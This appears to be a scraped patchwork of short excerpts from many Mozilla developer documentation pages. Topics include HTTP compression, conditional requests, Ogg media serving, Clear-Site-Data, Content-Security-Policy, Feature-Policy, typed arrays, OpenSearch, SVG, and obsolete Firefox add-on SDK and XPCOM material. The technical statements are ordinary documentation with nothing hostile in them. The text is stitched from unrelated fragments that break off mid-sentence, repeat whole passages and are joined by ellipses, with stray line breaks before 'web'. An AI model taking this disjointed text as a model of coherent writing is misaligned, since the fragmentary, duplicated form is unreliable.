Web are lossy; the jpeg image format is also lossy. Some formats can be used for both loss-less or lossy compression, like
webp, and usually lossy algorithm can be configured to compress more or less, which then of course leads to less or more quality. For better performance of a
Web site, it is ideal to compress as much as possible, while keeping an acceptable level of quality. For images, an imag...
...There are numerous tools that are specialized for this. ...
...act, this is often counter productive as the cost of the overhead (algorithms usually need a dictionary that add to the initial size) can be higher than the extra gain in compression resulting in a larger file. Do not use the two following techniques for files in a compressed format. End-to-end compression For compression, end-to-end compression is where the largest performance improvements of
Web sites reside. End-to-end compression refers to a compression of the body of a message that is done by the server and will last unchanged until it reaches the client. Whatever the intermediate nodes are, they leave the body untouched. All modern browsers and servers do support it and the only thing to negotiate is the compression algorithm to use. These algorithm are optimized for text. In the ...
HTTP conditional requests - HTTP
f the resource has changed, the server just sends back a 200 OK response, with the new version of the resource, like if the request wasn't conditional and the client uses this new resource (and caches it). Besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by
Web developers. Integrity of a partial download Partial downloading of files is a functionality of HTTP that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information: A server supporting partial downloads broadcasts this by sending the Accept-Ranges header. Once this happens, the client can resume a download by sending a Ranges header with the ...
...an extra response/request exchange when the document has been changed. This impairs performance, and HTTP has a specific header to avoid this scenario: If-Range: This solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. Rarely is such additional flexibility needed. Avoiding the lost update problem with optimistic locking A common operation in
Web applications is to update a remote document. This is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. Common
Web sites, like wikis and other CMS, have such a need. With the PUT method you are able to implement this. The client first reads the original files, modifies them, and finally pushes them to t...
...rce didn't exist before: If-None-Match will only work with HTTP/1.1 (and later) compliant servers. If unsure if the server will be compliant, you need first to issue a HEAD request to the resource to check this. Conclusion Conditional requests are a key feature of HTTP, and allow the building of efficient and complex applications. For caching or resuming downloads, the only work required for
webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. Once achieved, the browser will serve the expected conditional requests. For locking mechanisms, it is the opposite:
Web developers need to issue a request with the proper headers, while
webmasters can mostly rely on the application to carry out the checks for them. In both cases it's clear, c...
...rect etags in some environments can be tricky. Once achieved, the browser will serve the expected conditional requests. For locking mechanisms, it is the opposite:
Web developers need to issue a request with the proper headers, while
webmasters can mostly rely on the application to carry out the checks for them. In both cases it's clear, conditional requests are a fundamental feature behind the
Web. ...
Configuring servers for Ogg media - HTTP
This information may also be useful if you encounter other media types your server isn't already configured to recognize. Serve media with the correct MIME type *.ogg and *.ogv files containing video (possibly with an audio track as well, of course), should be served with the video/ogg MIME type. ...
...ia with the correct MIME types, so you'll likely need to add the appropriate configuration for this. For Apache, you can add the following to your configuration: AddType audio/ogg .oga AddType video/ogg .ogv AddType application/ogg .ogg You can find specific information about possible media file types and the codecs used within them in our comprehensive guide to media types and formats on the
web. In particular, the article on media container formats will be especially helpful when configuring serers to host media properly. Handle HTTP 1.1 byte range requests correctly In order to support seeking and playing back regions of the media that aren't yet downloaded, Gecko uses HTTP 1.1 byte-range requests to retrieve the media from the seek target position. In addition, Gecko uses byte-range...
...onsider using the preload attribute The HTML <audio> and <video> elements provide the preload attribute, which tells the browser to attempt to download the entire media when the page loads. Without preload, the browser only downloads enough of the media to display the first video frame, and to determine the media's duration. preload is off by default, so if getting to video is the point of your
web page, your users may appreciate it if you include preload in your video elements. using preload="metadata" will preload the media file's metadata and possibly the first few frames of video. Setting payload to auto tells the browser to automatically begin downloading the media as soon as the page is loaded, under the assumption that the user will play it. Configuration for older Firefox versions ...
...hen serving Ogg media, Gecko doesn't have to do any extra HTTP requests to seek to the end of the file to calculate its duration. This makes the entire process much more efficient as well as more accurate. As an inferior alternative, Gecko can estimate the video length based on the Content-Length. See next point. Don't use HTTP compression for media files One common way to reduce the load on a
web server is to use gzip or deflate compression when serving to a supporting
web browser. Although it's unlikely, it's possible the browser may advertise that it supports HTTP compression (gzip/deflate) using the Accept-Encoding: gzip,deflate header when requesting media files. Your server should be configured to not do so. The data in media files is already compressed, so you won't get any real be...
Clear-Site-Data - HTTP
Header type Response header Forbidden header name no Syntax The Clear-Site-Data header accepts one or more directives. If all types of data should be cleared, the wildcard directive ("*") can be used. // Single directive Clear-Site-Data: "cache" // Multiple directives (comma separated) Clear-Site-Data: "cache", "cookies" // Wild card Clear-Site-Data: "*" Directives All directives must comply with the quoted-string grammar. ...
...Data: "*" Directives All directives must comply with the quoted-string grammar. A directive that does not include the double quotes is invalid. "cache" Indicates that the server wishes to remove locally cached data (i.e. the browser cache, see HTTP caching) for the origin of the response URL. Depending on the browser, this might also clear out things like pre-rendered pages, script caches,
WebGL shader caches, or address bar suggestions. "cookies" Indicates that the server wishes to remove all cookies for the origin of the response URL. HTTP authentication credentials are also cleared out. This affects the entire registered domain, including subdomains. So https://example.com as well as https://stage.example.com, will have cookies cleared. "storage" Indicates that the server wishes...
...to remove all DOM storage for the origin of the response URL. This includes storage mechanisms such as: localStorage (executes localStorage.clear), sessionStorage (executes sessionStorage.clear), IndexedDB (for each database execute IDBFactory.deleteDatabase), Service worker registrations (for each service worker registration, execute ServiceWorkerRegistration.unregister), AppCache,
WebSQL databases, FileSystem API data, Plugin data (Flash via NPP_ClearSiteData). "executionContexts" Indicates that the server wishes to reload all browsing contexts for the origin of the response (Location.reload). "*" (wildcard) Indicates that the server wishes to clear all types of data for the origin of the response. If more data types are added in future versions of this header, the...
...lash via NPP_ClearSiteData). "executionContexts" Indicates that the server wishes to reload all browsing contexts for the origin of the response (Location.reload). "*" (wildcard) Indicates that the server wishes to clear all types of data for the origin of the response. If more data types are added in future versions of this header, they will also be covered by it. Examples Sign out of
web site If a user signs out of your
website or service, you might want to remove locally stored data. You can achieve that by adding the Clear-Site-Data header when sending the page confirming that logging out from the site has been accomplished successfully (https://example.com/logout, for example): Clear-Site-Data: "cache", "cookies", "storage", "executionContexts" Clearing cookies If this hea...
Content-Security-Policy - HTTP
With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks (XSS). For more information, see the introductory article on Content Security Policy (CSP). Header type Response header Forbidden header name no Syntax Content-Security-Policy: <policy-directive>; <policy-directive> where <policy-directive> consists of: <directive> <value> with no internal punctuation. ...
...ader type Response header Forbidden header name no Syntax Content-Security-Policy: <policy-directive>; <policy-directive> where <policy-directive> consists of: <directive> <value> with no internal punctuation. Directives Fetch directives Fetch directives control the locations from which certain resource types may be loaded. child-src Defines the valid sources for
web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. Instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively. connect-src Restricts the URLs which can be loaded using script interfaces default-src Serves as a fallback for the other fetch directives. fon...
... allow-list of Trusted Types policies. Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings. upgrade-insecure-requests Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for
web sites with large numbers of insecure legacy URLs that need to be rewritten. CSP in workers Workers are in general not governed by the content security policy of the document (or parent worker) that created them. To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which requested the worker script itself. The exception to this is i...
... Specifications Specification Status Comment Content Security Policy Level 3 Working Draft Adds manifest-src, navigate-to, report-to, strict-dynamic, worker-src. Undeprecates frame-src. Deprecates report-uri in favor if report-to. Mixed Content Candidate Recommendation Adds block-all-mixed-content. S...
Feature-Policy - HTTP
The header has now been renamed to Permissions-Policy in the spec, and this article will eventually be updated to reflect that change. ...
...he current document is allowed to gather information about the orientation of the device through the Magnetometer interface. microphone Controls whether the current document is allowed to use audio input devices. When this policy is disabled, the Promise returned by MediaDevices.getUserMedia() will reject with a NotAllowedError. midi Controls whether the current document is allowed to use the
Web MIDI API. When this policy is disabled, the Promise returned by Navigator.requestMIDIAccess() will reject with a DOMException. navigation-override Controls the availability of mechanisms that enables the page author to take control over the behavior of spatial navigation, or to cancel it outright. oversized-images Controls whether the current document is allowed to download and display large ...
...er the current document is allowed to use the Payment Request API. When this policy is enabled, the PaymentRequest() constructor will throw a SecurityError DOMException. picture-in-picture Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API. publickey-credentials-get Controls whether the current document is allowed to use the
Web Authentication API to retreive already stored public-key credentials, i.e. via navigator.credentials.get({publicKey: ..., ...}). sync-xhr Controls whether the current document is allowed to make synchronous XMLHttpRequest requests. usb Controls whether the current document is allowed to use the
WebUSB API. wake-lock Controls whether the current document is allowed to use Wake Lock API to in...
...tpRequest requests. usb Controls whether the current document is allowed to use the
WebUSB API. wake-lock Controls whether the current document is allowed to use Wake Lock API to indicate that device should not enter power-saving mode. screen-wake-lock Controls whether the current document is allowed to use Screen Wake Lock API to indicate that device should not turn off or dim the screen.
web-share Controls whether or not the current document is allowed to use the Navigator.share() of
Web Share API to share text, links, images, and other content to arbitrary destiations of user's choice, e.g. mobile apps. xr-spatial-tracking Controls whether or not the current document is allowed to use the
WebXR Device API to interact with a
WebXR session. Example SecureCorp Inc. wants to disab...
Planned changes to shared memory - JavaScript
n and carry the same two headers with the same two values. API changes As a result of this newly required environment, there are a couple API implications: The Atomics object is always available. SharedArrayBuffer objects are in principle always available, but unfortunately the constructor on the global object is hidden, unless the two headers mentioned above are set, for compatibility with
web content. There is hope that this restriction can be removed in the future.
WebAssembly.Memory can still be used to get an instance. Unless the two headers mentioned above are set, the various postMessage() APIs will throw for SharedArrayBuffer objects. If they are set, postMessage() on Window objects and dedicated workers will function and allow for memory sharing. To avoid having to check whet...
..., the various postMessage() APIs will throw for SharedArrayBuffer objects. If they are set, postMessage() on Window objects and dedicated workers will function and allow for memory sharing. To avoid having to check whether postMessage() throws, self.crossOriginIsolated is being standardized (a getter that returns a boolean; true if the headers are set), available in window and worker contexts.
WebAssembly Shared Memory The
WebAssembly Threads proposal allows
WebAssembly.Memory objects to be created with a new shared constructor flag. When this flag is set to true, the constructed Memory object can be shared between workers via postMessage(), just like SharedArrayBuffer, and the backing buffer of the Memory object is a SharedArrayBuffer. Therefore, the requirements listed above for sharing...
... Further reading COOP and COEP explained. ...
...ects to be created with a new shared constructor flag. When this flag is set to true, the constructed Memory object can be shared between workers via postMessage(), just like SharedArrayBuffer, and the backing buffer of the Memory object is a SharedArrayBuffer. Therefore, the requirements listed above for sharing a SharedArrayBuffer between workers also apply to sharing a
WebAssembly.Memory. The
WebAssembly Threads proposal also defines a new set of atomic instructions. Just as SharedArrayBuffer and its methods are unconditionally enabled (and only sharing between threads is gated on the new headers), the
WebAssembly atomic instructions are also unconditionally allowed. Further reading COOP and COEP explained. Cross-Origin-Opener-Policy: whatwg/html issue #3740, draft specification. Cr...
JavaScript typed arrays - JavaScript
JavaScript typed arrays are array-like objects that provide a mechanism for reading and writing raw binary data in memory buffers. As you may already know, Array objects grow and shrink dynamically and can have any JavaScript value. JavaScript engines perform optimizations so that these arrays are fast. However, as
web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using
WebSockets, and so forth, it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data. This is where typed arrays come in. Each entry in a JavaScript typed array is a raw binary value in one of a number of supported formats, from 8-bit integers to 64-bit floating-point n...
...ents of the buffer. Typed array views Typed array views have self-descriptive names and provide views for all the usual numeric types like Int8, Uint32, Float64 and so forth. There is one special typed array view, the Uint8ClampedArray. It clamps the values between 0 and 255. This is useful for Canvas data processing, for example. ...
...w-level interface that provides a getter/setter API to read and write arbitrary data to the buffer. This is useful when dealing with different types of data, for example. Typed array views are in the native byte-order (see Endianness) of your platform. With a DataView you are able to control the byte-order. It is big-endian by default and can be set to little-endian in the getter/setter methods.
Web APIs using typed arrays These are some examples of APIs that make use of typed arrays; there are others, and more are being added all the time. FileReader.prototype.readAsArrayBuffer() The FileReader.prototype.readAsArrayBuffer() method starts reading the contents of the specified Blob or File. XMLHttpRequest.prototype.send() XMLHttpRequest instances' send() method now supports typed array...
...ply viewed on the same data buffer, treating it as different formats. You can do this with any view types. Working with complex data structures By combining a single buffer with multiple views of different types, starting at different offsets into the buffer, you can interact with data objects containing multiple data types. This lets you, for example, interact with complex data structures from
WebGL, data files, or C structures you need to use while using js-ctypes. Consider this C structure: struct someStruct { unsigned long id; char username[16]; float amountDue; }; You can access a buffer containing data in this format like this: let buffer = new ArrayBuffer(24); // ... read the data into the buffer ... let idView = new Uint32Array(buffer, 0, 1); let usernameView = new Uint8...
OpenSearch description format
The OpenSearch description format lets a
website describe a search engine for itself, so that a browser or other client application can use that search engine. OpenSearch is supported by (at least) Firefox, Edge, Internet Explorer, Safari, and Chrome. (See Reference Material for links to other browsers' documentation.) Firefox also supports additional features not in the OpenSearch standard, such as search suggestions and the <SearchForm> element. This article focuses on creating OpenSearch-compatible search plugins that support these additional Firefox features. OpenSearch description files can be advertised as described in Autodiscovery of search plugins, and can be installed programmatically as described in Adding search engines from
web pages. OpenSearch description file The XML file...
...stion support on a server, see Supporting search suggestions in search plugins. Param The parameters that must be passed in along with the search query as key/value pairs. When specifying values, you can use {searchTerms} to insert the search terms entered by the user in the search bar. moz:SearchForm The URL for the site's search page for which the plugin. This lets Firefox users visit the
web site directly. Note: Since this element is Firefox-specific, and not part of the OpenSearch specification, we use the moz: XML namespace prefix in the example above to ensure that other user agents that don't support this element can safely ignore it. Autodiscovery of search plugins
Web sites with search plugins can advertise them so Firefox users can easily install the plugins. To suppo...
... of the OpenSearch specification, we use the moz: XML namespace prefix in the example above to ensure that other user agents that don't support this element can safely ignore it. Autodiscovery of search plugins
Web sites with search plugins can advertise them so Firefox users can easily install the plugins. To support autodiscovery, add a <link> element for each plugin to the <head> of your
web page: <link rel="search" type="application/opensearchdescription+xml" title="searchTitle" href="pluginURL"> Replace the bolded items as explained below: searchTitle The name of the search to perform, such as "Search MDC" or "Yahoo! Search". This must match your plugin file's <ShortName>. pluginURL The URL to the XML search plugin, so the browser can download it. If yo...
...n 10KB (see bug 361923). In addition, the search plugin service provides a logging mechanism that may be useful to plugin developers. Use about:config to set the pref 'browser.search.log' to true. Then, logging information will appear in Firefox's Error Console (Tools > Error Console) when search plugins are added. Reference Material OpenSearch Documentation Safari 8.0 Release Notes: Quick
Website Search Microsoft Edge Dev Guide: Search provider discovery The Chromium Projects: Tab to Search imdb.com has a working osd.xml OpenSearch Plugin Generator Ready2Search - create OpenSearch plugins. Customized Search through Ready2Search ...
color-profile - SVG: Scalable Vector Graphics
tion)The definition of 'color-profile' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...N...
... ...
... ...
SVG: Scalable Vector Graphics
SVG is, essentially, to graphics what HTML is to text. ...
... Getting Started This tutorial will help get you started using SVG. Scalable Vector Graphics (SVG) are an XML-based markup language for describing two-dimensional based vector graphics. As such, it's a text-based, open
Web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other
web standards including CSS, DOM, JavaScript, and SMIL. SVG is, essentially, to graphics what HTML is to text. SVG images and their related behaviors are defined in XML text files, which means they can be searched, indexed, scripted, and compressed. Additionally, this means they can be created and edited with any text editor or with drawing software. Compared to classic bitmapped image formats such as JPEG or PNG, SVG-format vector images can be r...
...ext editor or with drawing software. Compared to classic bitmapped image formats such as JPEG or PNG, SVG-format vector images can be rendered at any size without loss of quality and can be easily localized by updating the text within them, without the need of a graphical editor to do so. With proper libraries, SVG files can even be localized on-the-fly. SVG has been developed by the World Wide
Web Consortium (W3C) since 1999. Documentation SVG element reference Details about each SVG element. SVG attribute reference Details about each SVG attribute. SVG DOM interface reference Details about the SVG DOM API, for interaction with JavaScript. Applying SVG effects to HTML content SVG works together with HTML, CSS and JavaScript. Use SVG to enhance a regular HTML page or
web applic...
...nts, and is accessible from JavaScript. This allows developers to create rich animations and interactive images. Some real eye-candy SVG at svg-wow.org Firefox extension (Grafox) to add a subset of SMIL animation support Interactive photos manipulation HTML transformations using SVG's foreignObject Mapping, charting, games & 3D experiments While a little SVG can go a long way to enhanced
web content, here are some examples of heavy SVG usage. Connect 4 jVectorMap (interactive maps for data visualization) JointJS (JavaScript diagramming library) D3 ( JavaScript library for visualizing data with HTML, SVG, and CSS ) ...
panel - Archive of obsolete content
to be unloaded and then reloaded, so it may be less efficient, and you'll lose any state associated with the scripts. Scripting panel content You can't directly access your panel's content from your main add-on code. To access the panel's content, you need to load a script into the panel. In the SDK these scripts are called "content scripts" because they're explicitly used for interacting with
web content. While content scripts can access the content they're attached to, they can't use the SDK's APIs. So implementing a complete solution usually means you have to send messages between the content script and the main add-on code. You can specify one or more content scripts to load into a panel using the contentScript or contentScriptFile options to the Panel() constructor. You c...
...", contentStyleFile: self.data.url("panel-style.css") }); myPanel.show(); Private browsing If your add-on has not opted into private browsing, and it calls panel.show() when the currently active window is a private window, then the panel will not be shown. Panel limitations Although panels can host HTML documents, they are not implemented as browser tabs, so many things that work in normal
web pages do not work inside panels: Prior to Firefox 33, you don't get a context menu. From Firefox 33 you can enable a context menu by passing contextMenu: true to the panel's constructor. The HTML <select> element doesn't work. The HTML <datalist> element doesn't give you autocomplete suggestions (bug 918600). You can't embed Flash (bug 952578). You can't provide tooltips using title attrib...
...ptOptions object Read-only value exposed to content scripts under addon.options property. Any kind of jsonable value (object, array, string, etc.) can be used here. Optional. contextMenu boolean New in Firefox 33 Whether to show a context menu when the user context-clicks in the panel. The context menu will be the same one that's displayed in
web pages. Optional, defaults to false. onMessage function Include this to listen to the panel's message event. onShow function Include this to listen to the panel's show event. onHide function Include this to listen to the panel's hide event. Panel The Panel object represents a floating modal dialog that can by an ad...
High-Level APIs - Archive of obsolete content
Unless the documentation explicitly says otherwise, all these modules are "Stable": we'll avoid making incompatible changes to them. addon-page Create a page that does not contain navigational elements. base64 Data encoding and decoding using Base64 algorithms. clipboard Interact with the system clipboard, setting and getting its contents. context-menu Adds items, submenus, and menu separators to the page's context menu. hotkeys Assign hotkey combinations to functions in your add-on. ...
... contents. context-menu Adds items, submenus, and menu separators to the page's context menu. hotkeys Assign hotkey combinations to functions in your add-on. indexed-db Exposes the IndexedDB API to add-ons. l10n Localize strings appearing in the add-on's JavaScript code. notifications Display transient, toaster-style desktop messages to the user. page-mod Run scripts in the context of
web pages whose URL matches a given pattern. page-worker Create a permanent, invisible page and access its DOM. panel Creates transient dialogs to implement part of an add-on's user interface. passwords Interact with Firefox's Password Manager to add, retrieve and remove stored credentials. private-browsing Check whether a given object is private, so an add-on can respect private browsing ...
...on's user interface. passwords Interact with Firefox's Password Manager to add, retrieve and remove stored credentials. private-browsing Check whether a given object is private, so an add-on can respect private browsing querystring Utility functions for working with query strings. request Make simple network requests. selection Get and set text and HTML selections in the current
web page. self Access data that is bundled with the add-on, and add-on metadata. simple-prefs Store preferences across application restarts. simple-storage Lets an add-on store data so that it's retained across Firefox restarts. system Query the add-on's environment and access arguments passed to it. tabs Open, manipulate, and access tabs, and receive tab events. timers Set one-off and pe...
remote/parent - Archive of obsolete content
Enables you to load modules, and privileged parts of your add-on in general, into child processes. Usage In multiprocess Firefox: the browser UI runs in one process, sometimes called the chrome process or the parent process
web content runs in one or more other processes, sometimes called content processes or remote processes or child processes. By default, add-ons run in the chrome process and can't directly access
web content. In the SDK, content scripts run in the child process, and, of course, can access
web content. But content scripts don't have many more capabilities than untrusted
web content. The sdk/remote/parent module enables you to load SDK modules into the child process to give them direct access to content frames. These SDK modules have higher privileges than conten...
...Each process can contain many frames. ...
...Each process can contain many frames. Frame Every DOM page loaded as a part of the application is loaded in a content frame. This includes the content of every tab in an application like Firefox and also some other UI elements. ...
Modifying the Page Hosted by a Tab - Archive of obsolete content
To follow this tutorial you'll need to have learned the basics of jpm. To modify the page hosted by a particular tab, load one or more content scripts into it using attach() method of tab object. The job of these scripts is to interact with
web content. Here's a simple example: var button = require("sdk/ui/button/action").ActionButton({ id: "style-tab", label: "Style Tab", icon: "./icon-16.png", onClick: function() { require("sdk/tabs").activeTab.attach({ contentScript: 'document.body.style.border = "5px solid red";' }); } }); To run this example, save an icon file named "icon-16.png" in add-on's "data" directory. You could download this icon: . This add-on creates a button with Mozilla favicon as an icon. It has a click handler which fetches the active tab an...
... example, save an icon file named "icon-16.png" in add-on's "data" directory. You could download this icon: . This add-on creates a button with Mozilla favicon as an icon. It has a click handler which fetches the active tab and loads a script into the page hosted by the active tab. The script is specified using the contentScript option, and just draws a red border around the page. Then open any
web page in the browser window, and click the button . You should see a red border appear around the page, like this: Keeping Content Scripts in a Separate File In the example above, we've passed in content script as a string. Unless script is extremely simple, maintain the script as a separate file in add-on's data directory. This makes the code easier to maintain, debug, and review. To do this...
...red"); } }); The drawBorder message isn't a built-in message, it's one that this add-on defines in the port.emit() call. Injecting CSS Unlike the page-mod API, tab.attach() doesn't enable you to inject CSS directly into a page. To modify the style of a page, you have to use JavaScript, as in the example above. Learning More To learn more about working with tabs in the SDK, see the Open a
Web Page tutorial, the List Open Tabs tutorial, and the tabs API reference. To learn more about content scripts, see the content scripts guide. ...
Bookmarks - Archive of obsolete content
d using an nsIURI object. var ios = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService); var uri = ios.newURI("http://google.com/", null, null); var newBkmkId = bmsvc.insertBookmark(newFolderId, uri, bmsvc.DEFAULT_INDEX, ""); This example instantiates the nsIIOService and uses it to create an nsIURI referring to the Google
web site, then calls nsINavBookmarksService.insertBookmark() to create a new bookmark to Google, placing it at the end of the bookmarks folder referenced by newBkmkId. Finding bookmark items If you know the URI of a site and wish to find all bookmarks that link to it, you can use the nsINavBookmarksService.getBookmarkIdsForURI() method. var ios = Components.classes["@mozilla.org/network/io-service...
...etBookmarkURI(newBkmkId); Assuming you've run all the code samples previous to this one, this will output "http://google.com". You can use the nsINavBookmarksService.changeBookmarkURI() method to update the URI for a given bookmark item: var uri = ios.newURI("http://mozilla.com/", null, null); bmsvc.changeBookmarkURI(newBkmkId, uri); This example changes the bookmark to refer to the Mozilla
web site instead of Google. Note: All annotations, tags, and so forth are kept when the bookmark's URI is changed. Checking to see if a URI is bookmarked If you want to see if a given URI is already bookmarked -- for example, to avoid creating a new bookmark for a site that's already bookmarked -- you can use the nsINavBookmarksService.isBookmarked() method. var ios = Components.classes["@moz...
...d() method. var ios = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService); var uri = ios.newURI("http://mozilla.com/", null, null); if (!bmsvc.isBookmarked(uri)) { bmsvc.insertBookmark(bmsvc.toolbarFolder, uri, bmsvc.DEFAULT_INDEX, "Mozilla"); } This example looks to see if the user already has a bookmark for the Mozilla
web site, and, if not, creates one, adding it to the user's bookmarks toolbar. Finding the folder containing an item If you need to know what folder contains an item (this can be especially handy after using nsINavBookmarksService.getBookmarkIdsForURI() to find bookmarks for a given URI), you can use the nsINavBookmarksService.getFolderIdForItem() method. var parentFolderId = bmsvc.getFolderIdForI...
StringView - Archive of obsolete content
In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() m...
...In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer. However, this is slow and error-prone, due to the need for multiple conversions ...
...ed for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats). JavaScript typed arrays provide a mechanism for accessing raw binary data much more efficiently. The StringView constructor is one level above typed arrays. ...
Enhanced Extension Installation - Archive of obsolete content
rooted on these containers. Tracking Item Type Item type is tracked for the most part by containment in one or other of the two containers. In situations where an item is not yet a member of one of the containers, type is inelegantly determined by checking for presence of a theme-only property on the item's Install Manifest RDF file. Installation Initiation When an item is installed from the
web, XPInstall is invoked and it calls into the Extension System when it discovers that the XPI file contains an install.rdf manifest. The Extension Manager extracts that file and checks to see if the item is compatible with the running version of the application. If it is, a small set of metadata about it is written to the appropriate datasource (name, version, a flag to tell the system to properly ...
...lation Installation is much different. There three kinds of item installation: Installation from a file Installation by a folder or folder-link "appearing" in an Install Location, and A hybrid of the two - an XPI file "appearing" into a directory based Install Location. Installation From a File Initiation When an item is installed from a File (such as, when an item is installed from the
web, via XPInstall, upgraded by XPInstall or dropped into a directory-based Install Location), the Install Manifest supplied by the item is expanded into a temporary location and read. The GUID and Version supplied are validated, and then Compatibility is checked for by the new _getInstallData function. This function returns the GUID, version, and type of the item, and also an error code listing eith...
...function to fully register the item. See below for cases 2 and 3. If a non-staged XPI is detected, it is passed to the installItemFromFile function, which performs the initial registration so that when finalization routines run the item is properly installed. Upgrades When an item is installed (in any of the places described above, e.g. when an item is being installed from a XPI file from the
web or from a drop in) the Extension System checks to see if there is an existing version installed, and if so a special routine is called which sets a toBeUpgraded flag on the configured item instead of the usual toBeInstalled flag. On the subsequent startup, this function causes metadata about the old version of the item to be completely removed from the Extensions datasource and the new data from ...
Extension Etiquette - Archive of obsolete content
ther UI elements In general, toolbar items are very useful to end users because they can be removed or added to various toolbars as necessary. Status bar items should only be added for extensions that need constant monitoring, such as ad blocking, page ranking, or cookie management. Likewise, use context menu items sparingly -- only for tasks that are done frequently or on specific elements of a
web page. Focus Don't steal focus. It's not your extension's job to take focus from the
web content. If the user loads a
website and they ask for focus, they should get it. Overriding their request isn't very nice. About dialogs There is a default popup About dialog that is created from install.rdf data; creating a new XUL About box is usually unnecessary. You can decrease download size by omitti...
...extension lighter, while providing more consistency, especially for users using different themes. Extension icons Unique icons are usually worth their download weight. They allow for easy identification among other extensions in the Extensions manager. Coding practices Namespace conflicts There are many namespaces which extensions often must share with other consumers, be they other add-ons,
web code, or the browser itself. These often include areas such as: Object prototypes, such as String.prototype, which are often extended to add methods to native objects. Global variables, such as top-level declarations on scripts loaded into shared windows or
web pages. Expando properties of shared objects, such as document objects, or DOM nodes. IDs and class names in HTML and XUL documents,...
... chrome: or resource: packages, which are often defined in chrome.manifest files. about: page URLs. ...
How to convert an overlay extension to restartless - Archive of obsolete content
d resource:// but not chrome://, everyone who learned of this new feature learned that you had to load JSM from resource:// URIs and just stuck with that forever. It does still work if you don't have restartlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. The resource:// protocol actually bleeds into content which allows
webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data). Step 2a: Load your JSM from chrome:// Now with that preface out of the way, this part is easy: drop support for Firefox 3.x if you haven't already, move your JSM files to wherever you've got your chrome mapping to for your XUL overlay and/or windo...
...replace that? The answer to that question is to load your file from a chrome:// URI using XMLHttpRequest. You may now have another question: wait, what does this have to do with XML or HTTP? The answer to that question is, of course, nothing. XMLHttpRequest is an API created by Microsoft, adopted by Mozilla and other vendors, and hacked into a Swiss Army knife of file loading. You can use it in a
web page to fetch a file from your server and you can use it in your add-on to fetch a local file from your installation. The name is a vestigial structure that just makes things confusing. It is nonetheless the "Correct" and best way to do things. It's available in the global for a window, but in JSM you'll need to fetch it from an interface: const XMLHttpRequest = Components.Constructor("@mozilla.
...pRequest. To access that data you're going to need a data view to look at your typed array with. Data that's homogeneous might get away with using something like Uint32Array or one of the other standard typed array views, but it's probably a bad idea. The basic typed array views are not endian-safe. This is incredibly stupid. You'd think such an important new JavaScript feature made available for
web content and chrome alike would at least have a way to set and keep track of endianness, but no, it doesn't. Don't use any of the basic typed arrays for any data you did not earlier write into them in the same program session. Also, they're not particularly helpful if your data isn't all of the exact same type (which it probably isn't). The solution to read arbitrary binary data, of various sizes...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
XME: Are we sure we'll talking about Venkman since it's not well maintained FIXME: We maybe should talk about Firebug and Chromebug FIXME: and what about Console 2 and Docked-JS Console? Venkman, the JavaScript debugger Venkman is a full-fledged JavaScript debugger that runs inside Firefox. It works like typical debuggers, and is useful not only for developing extensions, but also for general
web development. Also, because it works with the JavaScript in extensions and Firefox itself, the debugger can be a good way to learn about design methods. Installing This is bundled with the Mozilla Suite and the current version of SeaMonkey, but it needs to be installed as an extension in Firefox. See https://addons.mozilla.org/firefox/216/. Install the extension in Firefox directly from the ab...
...he current version of SeaMonkey, but it needs to be installed as an extension in Firefox. See https://addons.mozilla.org/firefox/216/. Install the extension in Firefox directly from the above URL and relaunch Firefox. Starting up Select "JavaScript Debugger" from the Tools menu. Targeting JavaScript for debugging. When Venkman first launches, it can only debug the file currently open in your
web browser. This is because a lot of JavaScript files can slow down the browser down if they're opened for debugging, but you'll need to lift this restriction in order to develop extensions. Uncheck the "Exclude Browser Files" menu item under the Debug menu (Figure 1). FIXME: Figure 1: Uncheck "Exclude Browser Files." Set up QuickNote For the purposes of this explanation, we're going to use the f...
...the same directory as gonzui (simply because it's easier to specify a file that's in the same directory). Open a command prompt and navigate to the directory containing gonzui. The next command will import the source code: gonzui-import.exe mozilla Once the import process is complete, type the following command to launch the gonzui server: gonzui-server.exe Now you can access gonzui from your
web browser by typing the following into your location bar : http://localhost:46984 This lets you browse all packages, click on links to traverse them, and take traversed-link locations as search starting points (Figure A). FIXME: Figure A: gonzui 1 - http://quicknote.mozdev.org 2 - http://www5f.biglobe.ne.jp/~t-susumu/ 3 - Reverse-Polish Notation. A way to represent arithmetic formulas. For ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
processes using only JavaScript. Introduction JavaScript lacks functions for opening files and character-code conversion, among other things. A different mechanism is needed to perform these functions. Internet Explorer handles this using ActiveX; in Firefox, we use the Cross-Platform Component Object Model, or XPCOM. Due to deprecation of enablePrivilege this functionality can not be used in
web pages. EnablePrivilege is disabled in Firefox 15 and will be removed in Firefox 17. About XPCOM XPCOM is a framework for developing platform-independent components. Components developed in line with that framework are referred to as XPCOM components, and sometimes the components are simply referred to as XPCOMs. Firefox itself includes a great number of XPCOM components, and they can be used i...
